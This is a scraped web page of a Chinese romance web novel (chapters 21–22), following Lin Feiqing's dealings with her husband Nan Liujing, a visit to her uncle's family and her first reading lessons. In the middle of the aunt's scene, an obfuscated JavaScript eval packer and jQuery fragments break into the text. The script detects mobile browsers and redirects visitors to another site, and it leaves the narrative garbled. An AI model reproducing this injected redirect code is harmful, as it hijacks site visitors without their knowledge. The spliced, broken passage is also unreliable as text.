林霏清站在院子里,门没有锁,但她不敢敲门,也不敢到别出去。
周遭的一切突然变得及其陌生。
她已经在舅舅家住了一段时间,但直到那时才真正明白,自己已经不在家里了。
她记得很清楚,那晚她一夜未睡,睁着眼睛站到了天明。
如果人死前有回马灯,那天发生的事情一定会出现在她的回马灯里。
后来很长一段时间她晚上都会做噩梦。
梦里有许多门,一个很高很高的巨人在追她,她需要在巨人追上她之前打开一扇门躲进去,但每一扇门都关的死死的,她用尽力气也打不开,最后总会被巨人追上吃掉。
无处可逃,无人来救。
而现在她坐在车上,好像再一次回到当初的小院。
等着面前的门,再度闭上。
21. 第 21 章
“就这事儿?你跟她们又不一样”南流景习惯性嗤笑一声,却在看到林霏清有些苍白的脸色后顿住。
沉吟片刻,语气认真了些:“放心,不是什么大事,不会给我带来什么影响。”
见林霏清不信,南流景淡声道:“不用把这些官家大族想得多厉害,都是人,就算吃穿用度有差别,情绪却都是一样的。”
“想要钱,想要荣华富贵,想要子女争气,看见谁家走了运会羡慕会嫉妒。”
林霏清微怔,她以前,从未想过这些,甚至得知被邀请来这赏荷宴时,都找秦柳学了好久的规矩。
她一寻常民女,哪里来的福气能参加这样官家小姐的宴会。
但南流景此刻说:“现在,假设你舅舅是那崔小姐的家里人,会因为崔小姐在外头受了气,过来找我的麻烦吗?”
“……”
若南流景以旁人做假设,林霏清或许还会有些犹豫,但他提到她舅舅,那就没什么思考的必要了。
只是,崔小姐的父亲真的会这样吗?
看林霏清的表情,南流景便知道她是如何想法,扯了扯唇,向后靠在椅背上,慢吞吞道:“人都是差不多的。”
林霏清沉默片息:“那崔小姐,回去会被骂吗?”
南流景顿住。
林霏清没得到答案,便收回视线。
如果她的父亲真的如舅舅一般,那崔小姐应该,是会被骂的吧。
“何必担心她。”南流景道,“她对你并不友善。”
自己的情绪或许的确可以用担心来形容,林霏清扯了扯唇,低下睫:“因为,您说她的父亲,像我舅舅。”
想象中,被关在院子里的孩子便成了崔小姐的模样。
即便知道情况不会这么严重,崔小姐也不需要她的这样的人的担心,但林霏清还是控制不住,有些难过。
突地,一道弧线落入林霏清怀中,打断她的思绪。
仔细一瞧,是一锭金子。
林霏清:“……”
这动不动往人手里扔金子的习惯哪里来的?
林霏清看向南流景,想听听看他这次是什么理由。
南老板却没有解释的意思,好像这锭金子与他无关,而是道:“担心旁人,难道不担心我会骂你?”
话是这样说,但南流景语调闲散,拉着尾音,一点都不凶。
林霏清摩挲了下手中金锭。
怕啊,怎么可能会不怕。但冷静下来才意识到,南流景不是舅舅,起码,他不会因为这种事直接把她关到门外。
但话又说回来,这种“小事”南流景不会介意,那多大的事他会生气呢?
林霏清犹豫着,问出了声。
“界限?”南流景扬了扬眉,似是从未考虑过这个问题。
林霏清点头:“您告诉我,我日后也能当心些。”
南流景轻笑一声:“行,我想想。”
林霏清静静坐着,看着南流景支着下巴,一边漫不经心地思考。
半晌,才听他开口:“知道皇帝吗?”
林霏清不知怎么突然说起这个,却还是点了点头:“知道的。”
当今皇帝,是南流景的姐夫。
南流景投过来一眼,语气没什么起伏:“跟皇帝打架,再往上,处理起来就有些难了。”
“……”
“啊?”
林霏清以为自己听错了。
什么叫跟皇帝打一架?
皇帝,打一架,这两个词是怎么放在一起的?
南流景却好像没看出她的惊愕,闲闲补充道:“不过尽量不要在人多的时候打,他还挺好面子的。”
谁?皇帝吗?
南流景的态度太过冷静,以至于林霏清一时有些错乱。
是她小题大做了吗?
林霏清实在不知该如何回应,下意识顺着南流景道。
“……明白了,我尽量找个没人的时候。”
沉默片刻。
南流景“啧”了一声,无奈地看了她一眼。
“呆子。”
“真明白我什么意思了?”
林霏清钝钝点头:“应该,明白了。”
南流景抱臂,挑了挑眉,示意她说得详细些。
林霏清自己都不知道自己在说什么:“您是让我日后,想打谁,就打谁。”
四目相对。
南流景看她,表情有些凝滞。
不过眨眼之间,他又成了先前随意从容的样子。
“差不多,就是这个意思。不过,”南流景拉长了音调,不知是认真还是玩笑,“若是碰见不知道我是谁的人,那也别逞强,该跑就跑,回来多叫几个人再去算账也不迟。”
“嘶……”想到那个场景,林霏清蹙了蹙眉,低声道,“听起来好丢人啊。”
“……”
“行。”南流景嗤笑一声,重新去看案上奏折,“那我努力,尽量让下到黄口小儿,上到八旬老翁皆知道我的名号。”
“然后,你想打谁,就打谁。”
林霏清一愣,旋即轻轻抿唇笑了笑。
不知怎么,先前坐在这里,等待宣判的恐慌已经悉数消失不见。
心跳莫名变得安稳。
“南老板。”林霏清轻轻开口,“您用过午膳了没有?”
南流景抬睫:“怎么?”
林霏清刚想说我赚得十两,请您吃顿饭,话到嘴边又想起自己先是打算带秦柳去。
南流景是秦柳的主家,一起吃饭秦柳肯定不舒坦,她又不想让秦柳在一旁站着。
话在嘴里转了个弯,说出来就变成了:“我打算跟秦柳出去吃,要给您带回去一份吗?”
南流景:“可以……你说什么?”
-
林霏清与秦柳在铜锣大街下了车。
方才南流景在车上得知她要帮忙带饭时,沉默了好一会才答应,这反应有些出乎林霏清意料。
她还以为南流景听到后会挺高兴。
但仔细想想,便会发现他的反应很合理。
还记得他从前在刘公子酒楼吃饭时,把整栋楼从头到尾嫌弃了一遍,虽说上次吃素面时没挑,但那是他自己做的,肯定不会介意。
归根结底,南流景是个很讲究的人。
而她在吃食上又没什么造诣,南流景会质疑她也不奇怪。
但最后他还是答应了,林霏清问他想吃什么时,他只淡淡说了一句。
“你吃什么,就给我带什么。”
听起来就像,明明对外面的餐食不感兴趣,却还是体谅她的心情而答应。
林霏清甚至有些感动。
真是个好人啊。
两人沿着街慢慢走起来。
林霏清几乎没有在外面吃过几回饭,秦柳倒是从小住在燕都,很快找到一家小馆。
此刻正是饭点,小二层的饭馆挤满了人。
好在楼上还有空余包间,两人一道上了楼。
秦柳没想到林夫人是请她一起用膳,推拒了好久,见林夫人实在坚持,才小心翼翼坐到对面,看着纠结的林夫人,提议道。
“这家的红烧肉不错,您第一次来,可以尝尝。”
林霏清采纳了她的建议,想着两个人吃不了太多,便只加了一道醋溜白菜,一道蛋花汤。
很快饭菜上来,红绕肉色泽鲜亮,肥肉相间,油光配上最上层撒的葱花,搁在桌上时还在微微晃动,鲜香随着热气氤氲钻入鼻腔,林霏清本不是很饿,却也在这一刻咽了口口水。
白菜与汤也各有各的鲜美。
这一餐吃得很是满足,林霏清吃罢,招来小二,递过去一两银:“这道红烧肉烦请再做一份,另盛一碗饭装入食盒带走。”
秦柳在林夫人搁下筷子时便同样停下,听林夫人这样说有些疑惑,待小二离开后问道:“您还想再吃些吗?”
桌上的菜没剩下,两人吃得干干净净。
林霏清微微摇头,解释道:“我吃饱了,这份是带回去给南老板的。”
秦柳讶然,一时不知是该疑惑为何要吃外头的饭菜,还是疑惑为何要带红烧肉。
片晌,她轻声道:“金太医曾叮嘱过府里厨娘,南大人饮食需戒油戒辣,红烧肉之类的菜肴,不一定能吃。”
林霏清眨了眨眼。
她不知道这件事,而且,上次在刘公子酒楼里,南流景虽说嫌弃,但好像,并未有什么明显的忌口。
不过话说回来,依南流景的性子,就算金太医坐在他对面,他也多半是将金太医的话当做耳旁风。
林霏清微微凝眉,南流景不听劝告,她却不能。
可是红烧肉的钱已经给了,多半现在已经开了火,退怕是不能了,林霏清只好叫来小二,多加了一道醋溜白菜。
小二脾气好得很,来回多少次也不见烦躁,还颇好性地问了一句:“还需要别的吗?”
林霏清:“没了,真是麻烦你了。”
小二点点头退下,没一会提着装好的食盒送过来。
出来已过午时,外头日光强烈,两人便也不多逛,直接上车回府。
让秦柳去休息,得知南流景在书房,林霏清便提着食盒往那边去。
门口没什么人伺候,只有一个小童坐在屋檐下打瞌睡,见她过来吓了一跳,迅速起身。
林霏清装作没看到,温声询问:“南大人在里头吗?”
小童仰头看她,声音有些怯怯:“在的。”
林霏清低下身:“我给南大人带了些吃的,你去问问他现在想不想吃,可以吗?”
小童看了看她,又看了看她手中提的食盒,或许是察觉到这位夫人并不可怕,胆子稍稍大了些:“您稍等一下。”
林霏清含笑点头,看着他跑进书房,没一会又跑出来:“大人请您进去。”
“好。多谢你了。”林霏清笑着拍了拍他的脑袋,“不过最好还是不要坐在外面打瞌睡,不小心跌跤就不好了。”
小童的脸瞬间红透,看着林霏清讷讷点了点头。
林霏清又冲他笑了笑,随即提着食盒推开房门。这是她第一次进书房,正室相比府内其余房屋不算十分宽敞,两架高大的随墙书橱上摆满了各式文籍,其余墙面上挂着各类文玩装饰,中间一张沉黑书案,卷轴奏折账册等散落其上,有些凌乱。
南流景却并不在书案前。
林霏清四下望了望,在座屏后瞧见一道人影。
她朝那边迈步,微微扬声:“南老板?”
“嗯。”懒洋洋的一声。
林霏清过去,便看到南流景撑着脑袋侧躺在软榻之上,文书摆在身前,也不知有没有在看。
听见动静南流景抬起眼皮,打了个哈欠:“回来了?带了什么?”
林霏清莫名觉得他这样子有点像春湘养的玳瑁猫。
看起来又懒,脾气又大。
她轻轻晃了晃手中食盒:“可以在书房打开吗?”
南流景翻身站起,迈步往一侧走去,声音有些哑:“这边。”
林霏清忙跟上他的脚步,书房侧室之内,还辟有一处用以小憩。
南流景站在餐桌前,一手轻轻搭在桌面,回身看她:“让我瞧瞧。”
林霏清轻咳一声,将食盒搁至桌上。正欲打开,余光却注意到南流景正定定盯着她的动作。
好像她要变什么了不得的戏法一样。
这样的目光下,林霏清竟真生出几分没由来的忐忑。
指尖微微用力,食盒盖子拿起,食盒做了保温处理,里头食物一点没凉,丰裕的香气瞬间逸散开来。
林霏清悄悄觑南流景的表情,试图从中看出他满意与否。
可惜他的表情自始至终没什么变化,林霏清只好继续下去,将红烧肉取出搁在桌面上,又从下层拿出醋溜白菜与米饭,最后又将红烧肉放回去。
“等等。”南流景突然出声叫住她,“为何要收起来?”
林霏清看他,南流景好看的眉头微微皱起,神情坦然,一点没有自己不能吃这类食物的自觉。
果然是将金太医的叮嘱不知道丢到哪里去了。
林霏清本想寻个体面点的借口,可南流景却已没了耐心,食指轻轻敲击桌面以示催促。
无法,林霏清只好道:“因为这个您吃不了。”
南流景显然不满意这个答案,眯了眯眼,意味不明地重复一遍:“我吃不了?”
“是。”林霏清道,“您身子不好,吃不了油腻之物。”
南流景冷笑一声:“金澜给你说的?”
金太医名澜。
林霏清无奈:“原来您也知道金太医说过啊。”
“……”
短暂的沉默。
南流景面上没有丁点被拆穿的不自然,只是声线微冷:“他说了又不算,我才是老板。”
这种事也能谁掏钱谁说了算吗?
林霏清觉得自己实在看不透南流景,明明平时可靠得很,可一旦沾上与自己身子有关的事,反而不负责任得有些幼稚。
不过也是每到这个时候,哪怕南流景看起来再不虞,她也不会觉得害怕。
林霏清轻轻笑了笑,温声道:“可这次付钱的是我呀,您说了不算的。”
……
屋内瞬间安静下来。
一片寂静之间,林霏清咂了下舌尖。
方才说这话时没怎么过脑子,现在回想起来,一股前所未有的感觉从心尖蔓延。
有点……
爽啊。
还不等她细细品味这番滋味,对面突然传来一声轻咳将她拉回神。
南流景双手抱臂,面无表情地看着她。
林霏清一个激灵,这才意识到自己说了什么,一时有些不安。
不论如何,她方才的确有些嚣张,南流景定然是要生气了。
可等了一会,南流景也没说什么刻薄的话语来讥讽她,相反,他只是冷哼一声,而后便一言不发地坐在餐桌前,拿起筷子夹了筷白菜。
动作有些凶狠,但吃相一如既往的好,碗筷磕碰间没发出一点声音,动作间露出一节手腕,腕骨纤细精巧,似白玉雕琢。
林霏清怔怔站在原地,看着他吃了几口才后知后觉。
——南老板,好像服软了。
……
不过,人家吃饭,她再站着这里,好像也有点奇怪。
林霏清这样想着,打算告辞,南流景却在她之前开口。
“坐。”
简单的一个字,没什么情绪。
过了那阵别扭的幼稚,南流景又恢复了平时冷淡散漫的样子。
林霏清依言坐下,看他只吃了小半碗米饭便搁下筷子。
“听说你打算把九成收入送到荷花村。”南流景以锦帕擦了擦嘴,开口的话题却是林霏清未预料到的。
不,早在她请求杜管事这样做时,就该想到这事早晚会落入南流景耳中。
只是没想到会在这样的情况下。
林霏清不知该如何回应。
一方面,她自觉这种事与南流景无关,她有权利分配自己的收入,另一方面,在南流景提起这件事时,她又忍不住一阵心虚。
好像两个敌对的阵营,她明明已经加入其中一方,却还是背地里与另一方勾勾搭搭。
南流景只看林霏清的表情,便将她心里想了什么猜了个七七八八。
不过他也没打算让林霏清解释,她这性子不是一天养成的,自然也不是一朝一夕就能改过来的,与其严防死守,不知道哪天赵福被逼急了会做出什么事,不若留条孔隙,由他把控着,也不会出什么大事。
南流景撂下锦帕,平淡开口:“我也没说不可以。”
-
三日后,林霏清回了荷花村。
这是她成亲月余第一次回门,在南流景的吩咐下,银元与她一道。
诚然,她不必亲自回去,只需请人将东西送到便好,但杜管事的话给了她提醒,这不是什么好差事,不好麻烦旁人。
车驾停在小小的院落前,林霏清下车,熟门熟路地推开了院门。
尚未至午时,平日这个时候已经开始预备着午饭,院中几只鸡正四处啄食外,只有灶房方向有些动静。
林霏清循着声音过去,果不其然看到舅母正坐在灶台旁择菜。
林霏清轻轻唤了一声:“舅母。”
何雁抬头,便看到林霏清站在不远处,身上的衣裳不知是什么料子,看起来清透又舒服,圆润乳白的珠子穿成的装饰穿插在发间,自然适配得仿佛天生她就是如此矜贵的小姐。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826121|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可何雁却不会被这表象蒙蔽,她比谁都清楚这个外甥女内里多么卑贱,不知走了什么运道,勾搭上那个姓南的,才有了如今泼天的富贵。
可怜她的栋儿,被如此欺辱,却只能躺在床上,甚至不能看罪魁祸首得到惩罚。
就连她本人,现在见到这个贱人还得赔着笑脸。
千回百转只发生在一念之间,想起赵福的叮嘱,何雁迅速撂下手中的菜,站起身,两手在衣摆上窘迫地擦了擦,笑道:“霏清丫头怎么回来了?”
她忙将人往屋里引:“这么热的天,别在外头站着了,快,进屋坐会。”
林霏清本做好了舅母会恼怒于她的准备,却没料到舅母如此热情,不仅客气待她,连带着对秦柳银元都恭敬得很,低着身子向他们奉茶。
认识舅母十余年,林霏清印象中,何雁一直都是斗志昂扬的,小时候家中条件远不如现在,但即便如此,何雁每天都会把自己收拾得利利索索再出门,不论跟人说话吵架声音都大得很,走起路步子迈得特别快。
哪怕是成婚第一日她来南府,卑弱哭泣的表象下,也是一眼便能看透的勃勃野心。
这是林霏清第一次看到舅母如此谨慎怯懦。
并不让她舒服。
她叫住何雁:“舅母,您别忙了。”
何雁有些犹豫,可看林霏清坚持,只好小心翼翼坐在椅边:“家里也没什么好东西能招待你们的。”
林霏清忙道:“这不要紧,您不用放在心上。”她本打算直接给了东西就走,但现在也忍不住多关心些,“怎么只有您在,舅舅与表兄呢?”
何雁的表情有些苦涩:“你舅舅去田里了,至于你表兄,如今还下不了地。”
“这……”
不是说已经找到了大夫,可以医治赵栋了吗?
何雁勉强笑了笑:“从前是我们的错,是我们对不起你,如今栋儿如此,也是他的报应。”
哪怕林霏清先前还对赵栋有些怨气,如今听到这话也没了。
到底是一起长大,共同生活了十年的人,林霏清关切道:“那位大夫怎么说?”
何雁道:“还能怎么说,开了些药,让先吃着调养身体,待调养得差不多了再扎针治疗。”
林霏清缓缓点头,四下瞧了瞧,与她离开之前相比,房子变得空旷简陋了许多,想来这段日子舅舅舅母过得也不如意。
幸好她今日来了。
“舅母,我给您带了些东西。”林霏清说着向银元看了一眼,银元会意,转身离去。
何雁稍稍顿了顿,随即怒道:“你这孩子,来就来了,拿什么钱。”
林霏清只笑着安抚她:“您别气,不是钱。”
话落,便有三四个杂役抱着袋子进来。
何雁见状,疑惑道:“这是……”
林霏清笑道:“这也是南老板的主意,说村里离燕都远,进出采买都不方便,与其给钱,还不若直接送来米面,也方便您些。”
几个杂役来来回回,不多久便将堂屋塞满了一半,林霏清皆挑了些好存放不易坏的食材,够吃小半年,就这九十两还余下一多半。
南流景同样嘱咐过,余下的钱一齐放到钱庄中,帮舅舅舅母攒起来,否则这些钱,保不齐什么时候便会被赵栋拿走。
要不说南流景能挣大钱呢,同样是孝敬长辈,她只知道给钱,南流景却能考虑得这么周到。
林霏清看舅母愣愣不回神的样子,笑道:“往后我会常托人来看望您,每月我也会回来一趟,您有什么所需的,直接告诉明白就好。”
何雁:“这、这……”
林霏清笑着看向她:“嗯?怎么了?”
何雁牵起笑,勉强道:“傻孩子,真是难为你还这样为我们考虑。”
“这不算什么,能帮到您,我也高兴。”林霏清笑眯眯的。
又略坐了一会,想着舅母还要准备午饭,几人不好多叨扰,便起身告辞。
目送着马车离去,何雁转身回屋,看着满地食粮,终于控制不住面上的表情,疯了般骂道:“贱人!贱人!贱人!”
出嫁了,敢耍心眼子了,还说得那么好听,真要孝敬就该多带点钱回来,帮扶帮扶栋儿!带点米面就打算还了这份恩情了,想得真美!
她抓起一瓮粮油便要打砸,只是举起又顿住,最后也没舍得丢下去,骂骂咧咧地将东西收拾起来,收拾时想起林霏清来时那一身打扮,又是一阵气恼。
-
坐在返回燕都的马车之上,想起舅母,林霏清仍有些担忧。
到底养育了她这么多年,只要日后不再出现逼她嫁给表兄这种事,林霏清很希望自己能帮舅舅舅母过得好。
除了给一些东西之外,她还能做些什么帮到他们吗?
正思索着,马车突然停下,银元的声音从车外传来:“夫人。有人找您。”
林霏清打开车窗,便看见赵婶在不远处,冲她轻轻招了招手。
她立刻下车,止住秦柳与银元跟上来的动作,跑到赵婶前:“赵婶,您找我?”
赵婶笑着将她上下打量了一番,见她衣装整洁精神抖擞,便放下心来,道:“没什么大事,昨日阿香寄信来了,正好一封是给你的,我还想着今天给你送到燕都去,没想到你回来了,真好带上。”
说着赵婶递过来一封薄薄的信纸,“清清亲启”四个字以阿香的笔迹落在信封上。
“阿香会写信啦?”林霏清接过信封,翻来覆去看了看,有些讶然。
赵婶“嘿嘿”笑了两声:“说是成婚后跟她相公学的,我才去村长家读了信,上头写了可多啦。”
林霏清闻言也高兴起来:“阿香真厉害!那我回去看。”
赵婶:“行,路上慢点。”
告别赵婶,林霏清收好信件回到车上。
马车再次前进起来,林霏清忍不住打开信封,里面两大张信纸写得密密麻麻。
林霏清将信纸拿到鼻尖轻轻闻了闻,有阿香的味道。
这么多字,不知道阿香学了多久。
捧着薄薄的信纸,看着上头一笔一划皆是阿香的心意,一个搁置许久的念头缓缓在林霏清心间浮现。
她不想只能找人读信,她想自己看读阿香寄来的信,她想自己提笔给阿香回信。
她想学文字。
回府时,正好碰见南流景在前厅与人议事。
林霏清在屏风后,听见南流景的声音。
“谁给他更换货源的权利?”
“做不到是我判断失误,不做是他的问题。”
“跟我谈?他现在有什么资格跟我谈?”
南流景语速极快,语气平淡却仿若城墙一般不可撼动,直到最后,他道:
“去做,我会负责。”
客人走后,林霏清本打算等上一会再上前,南流景却好似早知道她的存在一般,看向屏风后:“找我什么事?”
林霏清默了默,从屏风后出现,看向南流景。
他应当还在考虑方才的事,眉头微皱,浑身上下萦绕着“有事快说”四个大字。
对上她的视线,南流景收敛了情绪,微微扬了扬下巴,平声道:“说吧。”
林霏清喉咙上下动了动,简单说明了自己想要读书的打算。
上次看到南流景书房里那么多书,若是他同意自己在府上学习,定然会方便许多。
而且,将心比心,若是南流景想学习新的东西,想变得更好,林霏清一定会尽自己所能支持他。想必南流景也是一样。
说罢,林霏清望向南流景,却看他唇线抿得很直,眼中不带丁点情绪,只是静静看着她。
明明与平常无异。
林霏清却莫名有些不安。
半晌,南流景才缓缓收回视线:“这很好,我会帮你去找先生。”
他说很好,可看起来,不是很好。
只是还不等林霏清细究,南流景便平声道:“午膳已经好了,去吃饭吧。”
林霏清疑惑:“您不吃吗?”
南流景:“我不吃。”
拒绝得十分干脆。
好吧……
林霏清离开后,南流景看向才回来的银元:“那姓赵的今天才送来信,她便过来要学读书?”
银元有些莫名:“您生什么气?”
22. 第 22 章
这是银元对他少有的反问,南流景微微皱眉:“你说什么?”
银元眨了下眼:“不然您当初为何要提前嘱咐书院山长对赵先生多加照顾?”
不仅如此,南大人还让他多留心京中十七至二十岁的年轻男子,要求还多得很,怎么想都不对劲。
南流景嗤笑一声:“你最近倒是喜欢动脑子了。”
银元一板一眼:“是您最近太过反常。”
南流景啜了口茶,沉默片息,道:“几位御医都说我活不过二十三。”
“过几年我死了,那时她才多大,手里那么多钱,怀璧自罪。若她没有再成家的打算便也罢了,若有这个打算,不管赘或嫁,与其让她选,不如在我看中的这些人里挑一个,好歹有你背书,人品不会太差。”
赵书源也是这些人选中的一个。
银元:“万一林姑娘一个都看不上呢?”
南流景:“所以我的第一个要求便是模样俊朗。”
“说得通。”银元点头,“可林姑娘愿意为了赵先生学文字,您为何又不高兴。”
“读书是好事。”南流景啧了一声,“可为了一个男人如此上心,不值当。”
银元没回这话,南流景也不打算听他说什么,只道:“罢了,这都是往后的事,现下先去把师先生请来,薪酬随她定。”
-
回房后林霏清才从下人口中得知,早晨她离开后,驿馆送来了她的信。已经被收在她的妆奁内。
这一封是赵先生从川阳书院寄来的。
最后一次见到赵先生还是在成婚前,现在他在川阳书院念书,百忙之中竟然还能想起她,林霏清多少有些受宠若惊。
拆开瞧了瞧,果不其然,看不太懂。
但能看出赵先生的字写得很漂亮。
她有一天也能写出这样漂亮的字吗?
林霏清默默收起,将阿香的信件与其放在一起。
待她学会文字后,一定会给他们回信。
南流景动作很快,她才说要读书,第四日便有先生上门来。
林霏清身边最近的先生便是赵先生,听闻此事,还以为会是一个如赵先生一般文雅的人。
却不想这位先生是位女子,看起来四十出头,装束也少见,只单单一件鼠青长袍,墨发在脑后束起一条马尾,浑身上下并无装饰。
如此朴素,却有一股独特的气质。
见到林霏清,这位先生开门见山道:“我姓师,字扶山,往后教导夫人文字。”
举止随意洒脱,不似寻常农女,却也与林霏清那日在胡府看到的小姐们都不一样。
林霏清第一次见到这样的人,一时呼吸都放轻了些:“师先生好。”
师先生看起来并不是很喜欢客套闲谈,闻言略略点了点头:“夫人的要求是读书识字,每三日一休,巳时启学,申时正刻散学,午间歇息一个时辰,可以吗?”
这样算下来,一日不到三个时辰,不可谓不轻松。
林霏清点了点头。
师先生面色和缓了些许,只是仍面无表情:“那便从今日开始吧。”她看了眼旁边的漏钟,“距巳时还有半个时辰,夫人准备好可来西厢房寻我。”
林霏清:“好的。”
见状师先生便转身去了西厢房。早在她打算识字时,南流景便着人辟开了西厢房做书房,里头备有笔墨纸砚,书籍字帖,林霏清除了人什么都不用带。在屋内等了半个时辰,见漏钟指向巳时,便迫不及待与秦柳一道往西厢房去。
村里人对读书人都敬,林霏清也听过尊师重道一词,见师先生已站在书案旁,脊背笔挺,颇有师道之风,林霏清忙俯了俯身:“师先生。”
说罢,她直起身,看师先生微微皱了皱眉,一时心跳加快了几分,不知是不是自己哪里做的不合规矩。
但师先生只是看着她,平静的眸光似能将她看穿:“夫人太紧张了。”
林霏清忙道:“先生为师,不敢轻慢。”
却听得师先生轻嗤一声:“我来此只教授文字,既非传道,实在称不上一个‘师’字。”
林霏清张了张嘴,还打算说些什么,师先生却已侧过身:“坐吧。”
林霏清只得依言坐在自己位置上。
只从这短短一阵相处来看,师先生好像不太喜欢她。
这也难怪,相比教她这样的人,肯定是教更聪慧年轻的学子更有意义。
不过,即便如此,好不容易有了机会,她就一定要认认真真学。
只是没想到,虽说依旧冷淡,但开始讲授后,师先生却细致了许多,先是花了大半个时辰摸清她的基础,而后开始教授文字。
只是并非依照书籍,而是看起来毫无规律的,想到哪个字便教哪个字。
林霏清虽说有些疑惑,却还是跟着用心学。
在这之前,林霏清还以为,以她的能力,一个字必然要反复许多遍才能记住,却不想在师先生的教导下,只要记住了,便不会忘。
只是相应的,进展有些慢。
但林霏清不急,阿香花了半年左右的时间学会给她写信,她没阿香聪明,但应该最多也就花一年时间。
一年以后,她才十七岁。
师先生得知她这样想,略略停了一下,道:“用不了一年。”
如今师先生的话,林霏清必然是深信不疑的。
师先生在燕都居住,每日散学后,便会离府归家。
明日又到休沐,师先生却并未再教她新的字,而是花了一日时间教她何为反切。
简单来说,以任意两至三个字来标注被切字,将反切上字与反切下字相合,哪怕从前并不识被切字,也可知晓读音。
见林霏清听得云里雾里,师先生便举了几个例子。
她提笔在纸上写了一个“霏”字,后头又写了个“浮”“渭”与“水”。
“这几个字认得吗?”师先生问。
林霏清点头,第一个字是她的名,后面三个字是先前学过的。
师先生道:“取‘浮’的前声,与‘渭’的后声,再取‘水’的平仄,合在一起,便是‘霏’。”
林霏清眨眨眼,看着那两个字,舌头在嘴里转了几圈,忽然明白了师先生的意思。
师先生又道:“这里头,‘浮’便是反切上字,‘渭’便是反切下字,通常来说,若只有两字,便取下字平仄,若平仄对不上,便引来第三字,取第三字的平仄。”
这下林霏清大约能听懂了。
师先生见状,提起笔,写了一个林霏清不认得的字,而后将“水”字涂黑,笔杆点了点前头两个字:“若无‘水’字,该怎么念?”
林霏清明白,这便是考校了。
她舔了舔唇,看着纸上两字,试探道:“……沸?”
师先生食指在桌上飞快地敲了两下,这是她在林霏清答对问题时的反应。
林霏清见状,微微抿唇笑了笑。
“念得不错,这字有沸腾,喧哗之意。”师先生又考了她几个字,见她差不多掌握,便指了指一旁的书册道,“而今你既已学会反切,便可开始学习写字,这册书我已挑几篇文章注好切法,您先读,哪里不明白,下次念学时告诉我。”
林霏清又是一阵点头。
师先生除了教授时向来不会多言,见状便搁下笔:“那今日便到此为止,我先告辞了。”
林霏清起身,如往日般将师先生送到院门,而后迫不及待返回西厢房,拿起师先生笔注过的书册。
师先生的意思是,往后,她便能自己读书了。
翻开第一页,原本拓印的文字旁,已密密麻麻写满了切字。
第一行就有好多不认得啊……
林霏清莫名有些紧张,看向旁边的切文,迟疑着,念出了声。
“天地玄黄,宇宙洪荒……”
南流景到院中时,听见的便是熟悉又陌生的,朗朗读书声。
他已许久没有正儿八经看过书,过了一会才听出来,里头在念千字文。
她显然还不熟练,有些磕磕绊绊,但读音都准确。
这一会,已经到“遐迩一体,率宾归王”。
而后停下,注文应当就停在这里。
院落安静得一时有些不适应。
南流景等了等,确定就到这里了,才推门而入。
林霏清正将书册翻到第一页打算再读一次,听见门口传来响动,侧目过去,便见南流景提膝越过门槛。
其实最开始,林霏清本打算把自己读书的进度同南流景说上一说,好让南流景知晓,他的束脩没白交。
却迟迟没有见到他人。
本以为他如先前一般没回府,后来却发现南流景不是没回来,只是没来这院里而已。
后来林霏清又想。
他也没有来问她学习得怎么样,便说明要么不在乎,要么忙到没时间理会。
不论是哪个缘由,都不应该去打扰他。
意识到这一点,林霏清便放弃了找南流景的打算。
这是自她提出读书请求之后,第一次见到南流景。
盛夏时节,南流景身上依旧穿着层层叠叠的衣物,只是用料轻薄,加上他身形颀长,哪怕一层一层也不显臃肿,动作间却有一股流云般飘飘欲仙之气。
她欲起身,却见南流景摆了摆手,径直走到她身边。
许久不见南流景,他来必然是寻自己有事,林霏清安静下来,等了等,却没听到南流景开口,这才注意到他目光停留在自己手中书上。
林霏清顺着他的目光,盯着书册看了一会。
猛然意识到,南流景会不会听见了,自己方才念书的声音。
林霏清一僵。
手指无意识地卷起了书角。一股热意从脖颈处迅速蔓延至整张脸。
她读的对不对?
有没有发出可笑的声音?
南流景会不会觉得她没有认真学?
林霏清盯着书册,满心慌乱。
头顶突然被揉了揉。
不太温柔的力道。
很快又收回。
“学得挺快。”
“……”
她一时没反应过来,便听南流景继续道:“比我当初快。”
林霏清回过神,抬头看向他:“当真?”
南流景神色坦荡:“骗你干什么。”他看向那本千字文,“你现在让我背,我都背不出来。”
林霏清惊叹:“您以前都背下来了?”
“……”没料到她是这反应,南流景默了默,挑眉,“觉得厉害?”
林霏清点头:“很厉害啊。”
她看这后头还有好多,而方才读过一遍的现在几乎都没什么印象了,南流景过去竟能全部背下来。
南流景啧了声:“这对你来说应当也不会是什么难事。”
林霏清却笑不出来:“您太高看我了。这么多,我肯定做不到。”
“那就背不下来呗。”南流景理所当然道,抬手,再次无比自然地揉了揉她的脑袋,“你又不是为了背千字文才读书的。”
林霏清愣住。
倒是南流景想起林霏清读书的缘故,唇角笑意微微落下,收回手,只是语调仍随意。
“再说虽然交了束脩,但那是补上师先生从前教我时没给的,也就是说,你现在哪怕学一个字也是赚。”
林霏清发髻被他揉得有些凌乱,闻言歪了歪脑袋:“师先生从前教过您?”
南流景:“嗯?”
林霏清:“您当时还没给钱?”
“嗯。”
“好奸啊。”
“……嗯。”顿了顿,南流景道,“我是奸商嘛。”
南流景说这话时面无表情,林霏清却莫名觉得有些好笑。
她咬住侧边软肉,努力想要控制住笑意,可南流景已经看过太多次林霏清这幅样子,几乎是瞬间便知道她在想什么。
“别忍了。”南流景眼尾睨她,“别一会憋坏了。”
“……”
玩笑两句,南流景转而说起今日来的目的:“言归正传,我来是告知你,八月十五中秋,宫中举办宫宴,请帖已经送来了。”
宫宴?
上次的赏荷宴实在不算有趣,但南流景好不容易主动来找她一次,自然不能拒绝。
林霏清果断点头:“当然去。”
南流景原本想说“不过应当没什么意思,不若带上秦柳去城中逛逛”,听得这句话顿住,盯着林霏清瞧了一会,点头:“行,到时我与你一同。”
-
先前赏荷宴林霏清尚且紧张了好一会,这次宫宴,只会越发焦虑。
最重要的是,她面对的不仅是皇后,还是南流景的亲人。
